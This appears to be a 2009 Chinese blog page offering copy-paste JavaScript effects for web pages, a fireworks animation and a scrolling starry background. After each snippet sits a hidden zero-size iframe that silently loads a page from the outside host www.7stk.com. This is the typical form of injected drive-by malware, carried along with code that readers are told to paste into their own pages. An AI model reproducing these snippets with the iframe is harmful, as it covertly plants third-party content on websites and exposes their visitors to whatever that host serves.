<div style="position:relative;width:1px;height:1px;background:#FF0000;font-size:1px"></div>

</div>

 

<SCRIPT LANGUAGE="JavaScript">

 

<!-- Begin

var Clrs = new Array(9);

Clrs[0] = 'ff0000';

Clrs[1] = '00ff00';

Clrs[2] = '000aff';

Clrs[3] = 'ff00ff';

Clrs[4] = 'ffa500';

Clrs[5] = 'ffff00';

Clrs[6] = '00ff00';

Clrs[7] = 'ffffff';

Clrs[8] = 'fffff0';

var sClrs = new Array(5);

sClrs[0] = 'ffa500';

sClrs[1] = '55ff66';

sClrs[2] = 'AC9DFC';

sClrs[3] = 'fff000';

sClrs[4] = 'fffff0';

var yBase;

var xBase;

var step;

var currStep = 0;

var Xpos = 1;

var Ypos = 1;

var initialStarColor = 'ffa000';

var Mtop = 250;

var Mleft = 250;

function Fireworks() {

if (document.all) {

yBase = window.document.body.offsetHeight / 3;

xBase = window.document.body.offsetWidth / 8;

}

else if (document.layers) {

yBase = window.innerHeight / 3;

xBase = window.innerWidth / 8;

}

if (document.all) {

step = 5;

for ( i = 0 ; i < starsDiv.all.length ; i++ ) {

for (ai = 0; ai < Clrs.length; ai++) {

var c = Math.round(Math.random()*[ai]);

}

if (currStep < 90)

starsDiv.all[i].style.background=initialStarColor;

if (currStep > 90)

starsDiv.all[i].style.background=Clrs[c];

starsDiv.all[i].style.top = Mtop + yBase*Math.sin((currStep+i*5)/3)*Math.sin(550+currStep/100)

starsDiv.all[i].style.left = Mleft + yBase*Math.cos((currStep+i*5)/3)*Math.sin(550+currStep/100)

   }

}

else if (document.layers) {

step = 5;

for ( j = 0 ; j < 24 ; j++ ) { //number of NS layers!

var templayer = "a"+j;

for (ai = 0; ai < Clrs.length; ai++) {

var c = Math.round(Math.random()*[ai]);

 

}

if (currStep < 90)

document.layers[templayer].bgColor=initialStarColor;

if (currStep > 90)

document.layers[templayer].bgColor=Clrs[c];

document.layers[templayer].top = Mtop + yBase*Math.sin((currStep+j*5)/3)*Math.sin(550+currStep/100)

document.layers[templayer].left = Mleft + yBase*Math.cos((currStep+j*5)/3)*Math.sin(550+currStep/100)

   }

}

currStep+= step;

T=setTimeout("Fireworks()",5);

if (currStep == 220) {

currStep = -10;

for (n = 0; n < sClrs.length; n++) {

var k = Math.round(Math.random()*n);

}

initialStarColor = sClrs[k];

if (document.all) {

Dtop = window.document.body.clientHeight - 250;

Dleft = xBase * 3.5;

Mtop = Math.round(Math.random()*Dtop);

Mleft = Math.round(Math.random()*Dleft);

document.all.starsDiv.style.top = Mtop+document.body.scrollTop;

document.all.starsDiv.style.left = Mleft+document.body.scrollLeft;

}

else if (document.layers) {

Dleft = window.innerWidth - 100;

Dtop = window.innerHeight - 100;

Mtop = Math.round(Math.random()*Dtop+window.pageYOffset);

Mleft = Math.round(Math.random()*Dleft+window.pageXOffset);

document.layers[templayer].top = Mtop;

document.layers[templayer].left = Mleft;

}

if ((Mtop < 20) || (Mleft < 20)) {

Mtop += 90;

Mleft += 90;

      }

   }

}

Fireworks();

//  End -->

</script>

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

</body>

 

</html>

 

0 Comments

Tue

03

Mar

2009

1、星空背景网页代码

1、星空背景网页代码

<!-- <BODY bgColor=#000000 onload=fly()>替换原有的<body> -->

<!--将以下代码加入HTML<Body></Body>之间-->

<SCRIPT language=JavaScript>

<!--

SmallStars = 30;

LargeStars = 10;

 

SmallYpos = new Array();

SmallXpos = new Array();

LargeYpos = new Array();

LargeXpos = new Array();

Smallspeed= new Array();

Largespeed= new Array();

ns=(document.layers)?1:0;

if (ns){

for (i = 0; i < SmallStars; i++)

{document.write("<LAYER NAME='sn"+i+"' LEFT=0 TOP=0 BGCOLOR='#FFFFF0' CLIP='0,0,1,1'></LAYER>")}

for (i = 0; i < LargeStars; i++)

{document.write("<LAYER NAME='ln"+i+"' LEFT=0 TOP=0 BGCOLOR='#FFFFFF' CLIP='0,0,2,2'></LAYER>")}

}

else{

document.write('<div style="position:absolute;top:0px;left:0px">');

document.write('<div style="position:relative">');

for (i = 0; i < SmallStars; i++)

{document.write('<div id="si" style="position:absolute;top:0;left:0;width:1px;height:1px;background:#fffff0;font-size:1px"></div>')}

document.write('</div>');

document.write('</div>');

document.write('<div style="position:absolute;top:0px;left:0px">');

document.write('<div style="position:relative">');

for (i = 0; i < LargeStars; i++)

{document.write('<div id="li" style="position:absolute;top:0;left:0;width:2px;height:2px;background:#ffffff;font-size:2px"></div>')}

document.write('</div>');

document.write('</div>');

}

WinHeight=(document.layers)?window.innerHeight:window.document.body.clientHeight;

WinWidth=(document.layers)?window.innerWidth:window.document.body.clientWidth;

//Inital placement!

for (i=0; i < SmallStars; i++)

 {                                                                

 SmallYpos[i] = Math.round(Math.random()*WinHeight);

 SmallXpos[i] = Math.round(Math.random()*WinWidth);

 Smallspeed[i]= Math.random()*5+1;

}

for (i=0; i < LargeStars; i++)

 {                                                                

 LargeYpos[i] = Math.round(Math.random()*WinHeight);

 LargeXpos[i] = Math.round(Math.random()*WinWidth);

 Largespeed[i]= Math.random()*10+5;

}

function fly(){

var WinHeight=(document.layers)?window.innerHeight:window.document.body.clientHeight;

var WinWidth=(document.layers)?window.innerWidth:window.document.body.clientWidth;

var hscrll=(document.layers)?window.pageYOffset:document.body.scrollTop;

var wscrll=(document.layers)?window.pageXOffset:document.body.scrollLeft;

 

for (i=0; i < LargeStars; i++)

{

 LargeXpos[i]-=Largespeed[i];

 if (LargeXpos[i] < -10)

  {

  LargeXpos[i]=WinWidth;

  LargeYpos[i]=Math.round(Math.random()*WinHeight);

  Largespeed[i]=Math.random()*10+5;

  }

 if (ns){

 document.layers['ln'+i].left=LargeXpos[i];

 document.layers['ln'+i].top=LargeYpos[i]+hscrll;

 }

 else{

 li[i].style.pixelLeft=LargeXpos[i];

 li[i].style.pixelTop=LargeYpos[i]+hscrll;

 }

}

 

for (i=0; i < SmallStars; i++)

{

 SmallXpos[i]-=Smallspeed[i];

 if (SmallXpos[i] < -10)

  {

  SmallXpos[i]=WinWidth;

  SmallYpos[i]=Math.round(Math.random()*WinHeight);

  Smallspeed[i]=Math.random()*5+1;

  }

 if (ns){

 document.layers['sn'+i].left=SmallXpos[i];

 document.layers['sn'+i].top=SmallYpos[i]+hscrll;

 }

 else{

 si[i].style.pixelLeft=SmallXpos[i];

 si[i].style.pixelTop=SmallYpos[i]+hscrll;

 }

}

setTimeout('fly()',10);

}

//fly();

//-->

</SCRIPT>

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

</body>

 

</html>

 

0 Comments